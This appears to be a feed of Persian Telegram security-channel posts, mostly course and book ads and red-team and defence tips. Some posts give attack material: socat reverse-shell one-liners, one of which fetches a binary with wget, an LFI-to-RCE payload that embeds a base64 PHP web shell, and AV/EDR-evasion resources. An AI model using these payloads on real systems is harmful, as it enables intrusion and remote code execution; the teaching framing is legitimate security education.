درود دوستان وب‌سایت آماده شده و در حال حاضر تنها به چند اصلاح جزئی نیاز دارد. از دوستانی که به زبان TypeScript تسلط دارند و تمایل دارند به‌صورت داوطلبانه در تکمیل و بهبود وب‌سایت مشارکت کنند، دعوت میکنیم برای هماهنگی و دریافت جزئیات بیشتر به آیدی زیر پیام بدهند: @ThbxSupport از همراهی و مشارکت شما در توسعه این مجموعه سپاسگزاریم.

📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Defensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : آرش نریمان پور 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 20:00 🔖  لینک جلسه : meet.google.com/nhr-vtgc-uwn ⁉️ موضوع جلسه : 📌 تحلیل و شکار تهدیدات در محیط Windows و Active Directory با استفاده از Sysmon، Windows Event Logs و Splunk 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox

📌 Python For Pentesters ⭕ معرفی دوره: در طول دوره، مفاهیم برنامه‌ نویسی را در قالب تمرین‌ ها و پروژه‌ های مرتبط با امنیت سایبری به کار میگیرید. به‌جای یادگیری صرف Socket Programming، با ایجاد ارتباط TCP، دریافت اطلاعات سرویس‌ های شبکه و توسعه ابزار Service Discovery آشنا میشوید. هدف دوره، آموزش Python به‌عنوان ابزاری کاربردی برای متخصصان امنیت است؛ تا بتوانید اسکریپت اختصاصی بنویسید، خروجی ابزارها را پردازش کنید و قابلیت‌های امنیتی را در قالب برنامه‌ای ساختاریافته ترکیب کنید. ⭕ توضیحات کامل ⭕ مشاهده سرفصل‌ ها ◽ مدرس: محمد امین طالبی ◽ نحوه برگزاری: آفلاین ▫️ مدت : 30 ساعت ⚠️ دوره در حال تکمیل است و ویدئوها به‌صورت مرحله‌ای منتشر می‌شوند. دانشجویان به‌تدریج به محتوای جدید دسترسی خواهند داشت. 💰 قیمت اصلی: ۳,۴۹۰,۰۰۰ تومان 🔥 قیمت ویژه عرضه اولیه: ۲,۹۹۰,۰۰۰ تومان ▫️برای ۵ نفر اول  : ۲,۴۹۰,۰۰۰ تومان خریداران عرضه اولیه با همین مبلغ به محتوای کامل دوره دسترسی خواهند داشت و پس از تکمیل دوره نیازی به پرداخت مابه‌التفاوت ندارند. 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport @TryHackBox

📌 چرا Active Directory یکی از مهم‌ ترین اهداف اتکرهاست؟ در بسیاری از سازمان‌ ها، Active Directory فقط یک سرویس برای مدیریت کاربران و کامپیوترها نیست؛ بلکه مرکز مدیریت هویت، احراز هویت و کنترل دسترسی در کل زیرساخت سازمان محسوب می‌شود. به همین دلیل، Compromising کردن Active Directory می‌ تواند تأثیر بسیار گسترده‌تری نسبت به دسترسی به یک سرور یا سیستم معمولی داشته باشد. از دید یک ردتیمر، هدف همیشه پیدا کردن یک آسیب‌پذیری نرم‌افزاری نیست. گاهی مسیر نفوذ از یک Misconfiguration ساده شروع می‌شود:

یک حساب کاربری با دسترسی بیشتر از نیاز واقعی یک Service Account با پسورد ضعیف یک Group Policy با مجوزهای اشتباه حساب‌ های قدیمی که هنوز فعال هستند سرویس‌ هایی که بدون hardening مناسب در حال اجرا هستند

نکته مهم اینجاست که این ضعف‌ ها لزوماً به‌ تنهایی منجر به دسترسی Domain Admin نمیشوند؛ اما وقتی در کنار یکدیگر قرار میگیرند، می‌ توانند یک مسیر واقعی برای Privilege Escalation ایجاد کنند. در ارزیابی امنیتی AD، باید به‌ جای تمرکز صرف روی آسیب‌پذیری‌ ها، روابط میان کاربران، گروه‌ها، سیستم‌ ها و مجوزهای دسترسی را بررسی کرد.

گاهی خطرناک‌ترین ضعف شبکه، همان دسترسی‌ ای است که مدت‌ ها پیش به یک کاربر داده شده و دیگر کسی به فکر بررسی آن نبوده است.

✍ کاوه . م @KavehOffSec #AD #Active_Directory #Red_Team #RedTeam

📌 برگزاری جلسه ویس چت :  با درود خدمت دوستان و همراهان عزیز،  در راستای ارتقای سطح دانش فنی و آشنایی بیشتر با مباحث امنیت سایبری، قصد داریم جلسه‌ای تخصصی و آموزشی در خصوص Offensive Security به صورت ویس چت برگزار کنیم. 🎙 مهمان برنامه 👤 مهندس : میثم منصف 📅 زمان برگزاری: امشب 📍 پلتفرم: گوگل میت 🕗 ساعت : 21:00 🔖  لینک جلسه : http://meet.google.com/vdx-odgs-bbj ⁉️ موضوع جلسه : 📌 متدولوژی حرفه‌ای Web Pentesting 🔔 نکته مهم:  جهت شرکت به موقع جلسه، حتماً کانال تلگرام را چک کنید تا از این جلسه جا نمونید . ➖➖➖➖➖➖➖➖➖➖➖➖➖➖ 🆔 @RadioZeroPod 🆔 @TryHackBox

پیش از اجرای پیلودهای Evasion روی سیستم تارگت، همیشه آن‌ها را در وب‌سایت‌های زیر آزمایش کنید:

https://antiscan.me/ https://metadefender.opswat.com/

منابع مفید برای مطالعه تکنیک‌های AV/EDR Bypassing:

https://github.com/CMEPW/BypassAV https://github.com/tkmru/awesome-edr-bypass https://github.com/MrEmpy/Awesome-AV-EDR-XDR-Bypass https://github.com/NUL0x4C/AtomPePacker

@PfkSecurity

📚 مجموعه کتابهای کاربردی در دنیای امنیت 📖 کتابچه "Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory" از مقدماتی تا پیشرفته. 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 وایرشارک برای ردتیمرها: از پایه تا پیشرفته 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۵۰,۰۰۰ تومان 📖 شکار عملی باگ بانتی : از Recon تا Bounty واقعی : متدولوژی و شناسایی و آسیب پذیری های دنیای واقعی 📕 جزئیات بیشتر کتاب 💰 قیمت : ۳۶۰,۰۰۰ تومان 📖 کتابچه Kerberos For Pentesters 📕 جزئیات بیشتر کتاب 💰 قیمت : ۲۶۹ تومان ممکنه در آینده قیمت کتاب‌ ها تغییر کنه و افزایش داشته باشه بنابراین اگر قصد خرید دارید، قیمت فعلی فرصت خوبی برای تهیه کتاب‌ هاست. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

📌 دوره: راهنمای جامع ابزار Mimikatz 💢اگر در حوزه Red Teaming یا Windows Penetration Testing فعالیت می‌کنید، Mimikatz ابزاری است که شناخت آن همچنان اهمیت دارد. قدیمی شدن یک ابزار لزوماً به معنای بی‌ استفاده شدن آن نیست. در عملیات واقعی، شناخت مکانیزم‌ های داخلی، درک تکنیک‌ ها و توانایی سفارشی‌ سازی ابزارها (Customization) اهمیت بیشتری از اجرای ساده نسخه پیش‌فرض آن‌ها دارد. فرصت یادگیری این مهارت را به تعویق نیندازید در دنیای Red Team، فاصله میان شناخت یک ابزار و توانایی استفاده مؤثر از آن، همان چیزی است که سطح تخصص شما را مشخص می‌ کند. 📌 توضیحات کامل ◽مدرس : مهندس سجاد تیموری ◽مدت زمان دوره : ۵ ساعت ۲۰ دقیقه ◻ دوره : آفلاین ⭕ دوره دارای گروه پشتیبانی می باشد. 💰 قیمت :     ۲,۰۰۰,۰۰۰  تومان 💰 با تخفیف ویژه : ۱,۲۵۰,۰۰۰ تومان 📌 جهت خرید،به ایدی زیر پیام دهید: @ThbxSupport Group @TryHackBox

🔥 سری Bash برای باگ هانترها قسمت ۲  دیگه مستقیم nc استفاده نکن و با commandهای زیر امتحان کن: 

rlwrap -cAr nc -lvnp <port>  
یا  
rlwrap -f. -r nc -lnvp <port>

حالا میتونی از arrow keys برای navigation history command استفاده کنی، اما هنوز full keyboard functionality نداری (مثل nano، CTRL shortcuts). برای full interactive keyboard controls، از socat interactive shell استفاده کن: در سمت attacker: 

socat file:tty,raw,echo=0 tcp-listen:<port>  

اگر error داد، امتحان کن: 

socat file:$(tty),raw,echo=0 tcp-listen:<port>

در سمت victim (برای full TTY reverse shell): 

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

اگر socat روی victim machine نصب نیست، از این one-liner برای دانلود static binary استفاده کن: 

wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat; chmod +x /tmp/socat; /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<ip>:<port>

برای stop کردن socat: 

ps aux | grep socat  
Kill -9 socat <PID>

نکته: <port> رو با پورت دلخواهت جایگزین کن، <attacker_ip> رو با IP خودت، و <PID> رو با process ID.

کدوم command رو اول در listenerت تست میکنی یا منتظر قسمت بعدی هستی؟

@TryHackBox #باگ_بانتی

📚 مجموعه کتاب‌های کاربردی در دنیای امنیت سایبری به مناسبت بزرگداشت کوروش بزرگ، تمامی کتاب‌های مجموعه را با ۳۰٪ تخفیف ویژه تهیه کنید. 📖 Mimikatz: تسلط عملی بر تکنیک‌های پیشرفته حملات Active Directory از مقدماتی تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 Wireshark برای ردتیمرها: از پایه تا پیشرفته 💰 قیمت اصلی: ۲۵۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۷۵,۰۰۰ تومان 📖 شکار عملی باگ بانتی: از Recon تا Bounty واقعی متدولوژی، شناسایی و بررسی آسیب‌پذیری‌های دنیای واقعی 💰 قیمت اصلی: ۳۶۰,۰۰۰ تومان 🔥 قیمت با تخفیف: ۲۵۲,۰۰۰ تومان 📖 Kerberos For Pentesters 💰 قیمت اصلی: ۲۶۹,۰۰۰ تومان 🔥 قیمت با تخفیف: ۱۸۸,۳۰۰ تومان 📌 توجه: این تخفیف به مناسبت بزرگداشت کوروش بزرگ در نظر گرفته شده است. 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

هفتم آبان ماه، روز بزرگداشت کوروش بزرگ شاهنشاه چهارگوشه جهان، شاه بزرگ، شاه آنشان و شاه بزرگ پارسی، بر تمامی ایرانیان خجسته باد. @kavehoffsec

📕 ردتیمینگ عملی | استراتژی‌های آزموده‌شده در میدان نبرد سایبری

هر متخصص امنیتی میگوید: «مثل یک مهاجم فکر کن.»

اما واقعاً چطور باید این کار را انجام داد؟ کتاب ردتیم عملی نشان میدهد مهاجمان چگونه برنامه‌ ریزی میکنند، عملیات خود را پیش می‌ برند و سیستم‌ ها را اکسپلویت میکنند؛ گام‌به‌گام و با تمرکز بر تکنیک‌ های عملی. بدون انبوهی از مباحث نظری و بدون حاشیه‌ روی؛ با تمرکز بر تکنیک‌ های تهاجمی که میتوانید آن‌ ها را درک کنید، به کار ببرید و روش‌ های مقابله با آن‌ ها را یاد بگیرید. این کتاب برای افرادی که میخواهند وارد دنیای امنیت تهاجمی شوند و متخصصانی که قصد دارند ذهنیت ردتیمینگ خود را توسعه دهند، منبعی برای یادگیری بیشتر است. 🎯 هدف، فقط یادگیری ابزارها نیست؛ بلکه درک طرز تفکر یک ردتیمر و شناخت رویکردهای تهاجمی در برابر شبکه‌ ها و اپلیکیشن‌ های سازمانی مدرن است. ⚠️ وضعیت انتشار حتما بخوانید 💰 قیمت ویژه ۵ نفر اول: ۳۵۰ هزار تومان 🏷️ قیمت پس از تکمیل ظرفیت تخفیف: ۵۰۰ هزار تومان 📌 جهت خرید به ایدی زیر پیام دهید: @THBxSupport

نکات تخصصی ردتیمینگ | بخش اول: Password Spraying در حمله‌ی Password Spraying، به‌جای اینکه چندین پسورد مختلف رو روی یک حساب امتحان کنیم، چند پسورد رایج رو روی تعداد زیادی حساب تست می‌کنیم. هدف اینه که ببینیم آیا می ‌شه با استفاده از رمزهای قابل ‌حدس، به یکی از حساب ‌های سازمان دسترسی پیدا کرد یا نه. چند نکته که موقع بررسی این تکنیک باید بهشون توجه کنیم: ۱. انتخاب هدف همه ‌ی حساب ‌ها به یک اندازه مهم نیستن. حساب ‌هایی که دسترسی بیشتری دارن یا به اطلاعات حساس وصل هستن، از نظر امنیتی اهمیت بالاتری دارن. ۲. بررسی الگوهای رمز عبور رمزهای رایج، پسوردهای پیش ‌فرض و رمزهایی که بر اساس اسم سازمان یا اطلاعات عمومی انتخاب میشن ، میتونن امنیت حساب ‌ها رو به خطر بندازن. شناخت این الگوها کمک می ‌کنه نقاط ضعف احتمالی رو بهتر بررسی کنیم. ۳. شناسایی حساب ‌های معتبر باید بدونیم چه حساب ‌هایی در محدوده‌ی تست قرار دارن و سامانه در برابر نام کاربری معتبر و نامعتبر چه واکنشی نشون میده. این بررسی می‌ تونه اطلاعات مفیدی درباره ‌ی نحوه ‌ی پیاده ‌سازی احراز هویت در اختیارمون بذاره. ۴. زمان ‌بندی تست زمان اجرای تست میتونه روی نحوه‌ی شناسایی فعالیت ‌ها تأثیر بذاره. بهتره زمان‌ بندی از قبل مشخص باشه تا هم شرایط واقعی سازمان در نظر گرفته بشه و هم تست باعث اختلال در سرویس ‌ها نشه. ۵. بررسی آدرس IP و منابع اتصال تغییر آدرس IP لزوماً باعث مخفی موندن فعالیت نمیشه. تیم دفاعی میتونه رویدادهای ورود رو از منابع مختلف کنار هم قرار بده و با بررسی الگوهای مشترک، فعالیت مشکوک رو تشخیص بده. ۶. فاصله ‌ی بین تلاش ‌های ورود تعداد درخواست ‌ها و فاصله‌ی زمانی بین اون ‌ها میتونه روی عملکرد مکانیزم ‌های دفاعی تأثیر بذاره. در تست نفوذ باید بررسی کنیم که سامانه چطور درخواست ‌های پرتکرار رو مدیریت می ‌کنه و آیا فعالیت‌ های مشکوک به ‌درستی ثبت میشن یا نه. ۷. بررسی سیاست قفل حساب باید بدونیم بعد از چند تلاش ناموفق، حساب محدود یا قفل میشه و این محدودیت چه مدت ادامه داره. تنظیم نادرست این سیاست میتونه هم امنیت حساب‌ ها رو کاهش بده و هم زمینه‌ ی اختلال در دسترسی کاربران رو فراهم کنه. ۸. توجه به حساب‌های حساس و دارای دسترسی بالا حساب‌ های ادمین و حساب‌ هایی که دسترسی ویژه دارن، اهمیت بیشتری دارن؛ چون در صورت دسترسی غیرمجاز، پیامدهای جدی‌ تری برای سازمان ایجاد میکنن. بررسی این حساب‌ ها باید با مجوز مشخص و کنترل کافی انجام بشه. یه نکته‌ ی مهم: در Password Spraying فقط بحث این نیست که آیا یک پسورد جواب میده یا نه. باید ببینیم سامانه چقدر خوب از حساب‌ ها محافظت میکنه، چه اطلاعاتی در لاگ‌ها ثبت میشه و تیم بلوتیم چقدر توانایی تشخیص این نوع فعالیت رو داره. یک ردتیمر خوب فقط به اجرای تکنیک فکر نمیکنه؛ باید بدونه فعالیتش چه ردپایی باقی میذاره و تیم دفاعی چطور میتونه اون رو شناسایی کنه. ✍ کاوه.م @KavehOffSec #تست_نفوذ #ردتیمینگ #تیم_قرمز

مرحله شناسایی با Nmap فرض کنید به ‌عنوان کارشناس تست نفوذ، در حال ارزیابی امنیتی یک سرور سازمانی هستید. کارفرما مجوز اسکن یک میزبان مشخص را صادر کرده و آدرس IP آن را در اختیار شما قرار داده است. در ابتدای ارزیابی، هیچ اطلاعات دقیقی درباره سرویس ‌های فعال روی سرور ندارید. نمی ‌دانید کدام پورت ‌ها باز هستند، چه سرویس ‌هایی روی آن ‌ها اجرا می‌شوند یا نسخه نرم‌افزارهای در حال اجرا چیست. وظیفه شما این است که پیش از ورود به مراحل بعدی تست نفوذ، یک شناسایی اولیه و جامع از سرویس ‌های در دسترس سرور انجام دهید. الزامات این مرحله: تمام پورت ‌های TCP از 1 تا 65535 بررسی شوند، نه فقط پورت ‌های رایج. تلاش شود نام و نسخه سرویس ‌های شناسایی ‌شده مشخص شود. اسکریپت ‌های پیش ‌فرض Nmap برای جمع ‌آوری اطلاعات تکمیلی اجرا شوند. اگر میزبان به درخواست‌های Ping پاسخ نداد، اسکن صرفاً به همین دلیل متوقف نشود. جزئیات روند اجرای اسکن در خروجی نمایش داده شود. 🎯 سؤال چالش: اگر قرار باشد تمام این الزامات را با یک دستور Nmap پیاده‌سازی کنید، چه دستوری می ‌نویسید؟

💬 پاسخ خود را در کامنت بنویسید و کاربرد هر فلگ را توضیح دهید.

لینک گروه : https://t.me/+XPV3S0tygl1lZGE0 @TryHackBox

هکری که بلد باشه چطور چیزی رو بشکنه، می‌ تونه بسازدش هم (بلد باشه چطور درستش کنه). این زیبایی کار یک ردتیمر است. با فکر کردن از دیدگاه مهاجم، میتونی آسیب ‌پذیری ‌ها را پیش ‌بینی کرده و اقدامات متقابل مؤثری پیاده‌سازی کنی.

ا🚨 PHP2Shell؛ وقتی چند ساعت تأخیر در پچ کردن میتواند دردسرساز شود تصور کنید یک آسیب‌ پذیری بحرانی در PHP منتشر میشود و فقط چند ساعت بعد، موجی از تلاش‌ ها برای سوءاستفاده از آن به راه می‌ افتد. در چنین شرایطی، دیگر فرصت زیادی برای به تعویق انداختن به‌ روزرسانی‌ ها وجود ندارد. طبق گزارش منتشر شده در ۲۱ اکتبر ۲۰۲۶، دو آسیب‌پذیری با شناسه‌ های CVE-2026-109618 و CVE-2026-109619 با نام PHP2Shell مطرح شده‌ اند. در این گزارش، امتیاز شدت هر دو آسیب‌ پذیری CVSS 9.2 اعلام شده و از افزایش سریع تلاش‌ ها برای exploitation از آن‌ ها صحبت شده است. توجه: پیش از استناد به شناسه‌ ها، امتیاز ها، آمار حملات و نسخه‌ های اصلاح‌ شده، اطلاعیه‌ های رسمی PHP و منابع امنیتی مرتبط را بررسی کنید. 🔍 مشکل دقیقاً چیست؟ بر اساس اطلاعات گزارش‌ شده، این دو آسیب‌ پذیری به نحوه مدیریت حافظه در PHP مربوط هستند: ا▪️ Out-of-Memory: مشکلات مرتبط با اتمام حافظه و نحوه مدیریت این وضعیت. ا▪️ Use-After-Free: استفاده از حافظه‌ای که قبلاً آزاد شده است؛ مشکلی که در شرایط خاص می‌ تواند زمینه‌ ساز رفتار غیرمنتظره یا اجرای حمله شود. خطر اصلی زمانی مشخص میشود که مهاجم بتواند از این ضعف‌ ها برای اجرای کد روی سرور استفاده کند. در چنین شرایطی، بسته به سطح دسترسی فرایند PHP و پیکربندی محیط، اطلاعات حساس، توکن‌ ها، رمزهای عبور و کلیدهای API ممکن است در معرض خطر قرار بگیرند. 🎯 چه کسانی باید نگران باشند؟ اگر سرور یا وب‌ سایت شما با PHP کار میکند، بهتر است وضعیت آن را بررسی کنید. این موضوع میتواند برای محیط‌ های زیر اهمیت داشته باشد: Apache با mod_php Nginx با PHP-FPM LiteSpeed و FrankenPHP وب‌سایت‌ های WordPress و سایر برنامه‌ های مبتنی بر PHP البته استفاده از این فناوری‌ ها به‌ تنهایی به معنای آسیب‌ پذیر بودن سرور نیست؛ 🛡️ چه کارهایی باید انجام دهید؟ ۱. نسخه PHP را بررسی کنید.

php -v 

این دستور نسخه PHP در محیط CLI را نشان میدهد. اگر برنامه شما از PHP-FPM یا سرویس دیگری استفاده میکند، نسخه واقعی مورد استفاده وب‌ سرور را هم بررسی کنید. ۲. وضعیت پچ امنیتی را مشخص کنید. اطلاعیه رسمی PHP را بررسی کنید و در صورت قرار داشتن نسخه شما در محدوده آسیب‌پذیر، به نسخه اصلاح‌ شده و پشتیبانی‌ شده ارتقا دهید. شماره نسخه‌ های اعلام‌ شده در گزارش‌ های غیررسمی را بدون تطبیق با منابع اصلی مبنا قرار ندهید. ۳. اگر فعلاً امکان به‌ روزرسانی ندارید، سطح دسترسی را محدود کنید. بسته به شرایط، محدود کردن دسترسی از اینترنت یا غیرفعال‌ کردن موقت سرویس می‌ تواند ریسک را کاهش دهد. ۴. به WAF اکتفا نکنید. قواعد WAF و قابلیت‌ های امنیتی CDN ممکن است بخشی از درخواست‌ های مخرب را مسدود کنند، اما جای پچ امنیتی را نمیگیرند. ۵. اگر احتمال میدهید سرور هدف حمله قرار گرفته، فقط به به‌روزرسانی بسنده نکنید. لاگ‌ های وب‌ سرور، فرایندهای غیرعادی، ارتباطات خروجی و احتمال دسترسی به اطلاعات حساس را بررسی کنید. اگر نشانه‌ای از نفوذ پیدا شد، موضوع را به‌ عنوان یک رخداد امنیتی جدی پیگیری کنید. 💡 نکته‌ای که نباید فراموش کنیم برای یک متخصص تست نفوذ، بررسی نسخه نرم‌افزار فقط نقطه شروع است. باید مشخص شود آسیب‌ پذیری تحت چه شرایطی قابل بهره‌برداری است، در صورت موفقیت چه سطح دسترسی‌ ای به دست می‌ آید و چه دارایی‌ هایی ممکن است در معرض خطر قرار بگیرند. از طرف دیگر، برای تیم‌ های دفاعی، سرعت واکنش اهمیت زیادی دارد. هرچه فاصله انتشار آسیب‌ پذیری تا در دسترس قرار گرفتن روش‌ های exploitation کمتر شود، فرصت بیشتری برای مهاجمان و زمان کمتری برای تیم‌ های امنیتی باقی میماند. اگر مسئول نگهداری یک سرور هستید، بررسی پچ های امنیتی را به زمان دیگری موکول نکنید. اگر هم در مسیر یادگیری تست نفوذ هستید، این رخدادها فرصت خوبی‌ اند تا ارتباط میان آسیب‌پذیری، exploitation و پیامدهای واقعی آن را بهتر بشناسید. - TryHackBox @TryHackBox

⚡ سری Bash برای باگ هانترها قسمت ۲ چندین folder رو با one-liner بساز: 

mkdir {dev,test,prod}

این command همزمان ۳ directory (dev، test، prod) میسازه. ایجاد چندین File به طور Efficient: 

touch {file1,file2,file3}.txt

Fileها مثل file1.txt، file2.txt، file3.txt ساخته میشن. تولید Fileها با Numeric Sequences:  seq -w 1 10 | xargs -I {} touch file{}.txt این sequence fileهایی مثل:  file01.txt، file02.txt، file03.txt.... تا file10.txt می‌سازه.

با pro Bash commandها bug huntingت رو boost کن must برای هر hacker!  فراموش نکن react کن 🔥

@TryHackBox #باگ_بانتی

🔥 LFI به RCE via PHP Wrapper (بدون نیاز به Log File!) ⚡ LFI داری اما با log poisoning یا تریک‌های دیگه luck نداری؟ این روش killer رو با PHP wrapperها امتحان کن: مثال param vulnerable: 

page=../../../../etc/passwd

حالا PHP shellت رو با base64 encoding بساز: 

echo '<?php system($_GET["cmd"]);?>' | base64

نتیجه رو می‌گیری: 

PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pgo=

URL-encodeش کن:  PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D Payload نهایی (با data:// wrapper):  page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA%2FPgo%3D&cmd=id  BOOM! Remote Code Execution. 💥 من یه روش wild هم دارم برای رفتن از LFI به RCE با استفاده از leaked phpinfo() page. می‌خوای؟ بگو بدونم.

کدوم LFI رو با data:// wrapper به RCE تبدیل کردی که shell داد و bounty شد؟ تجربت رو کامنت کن

@TryHackBox #باگ_بانتی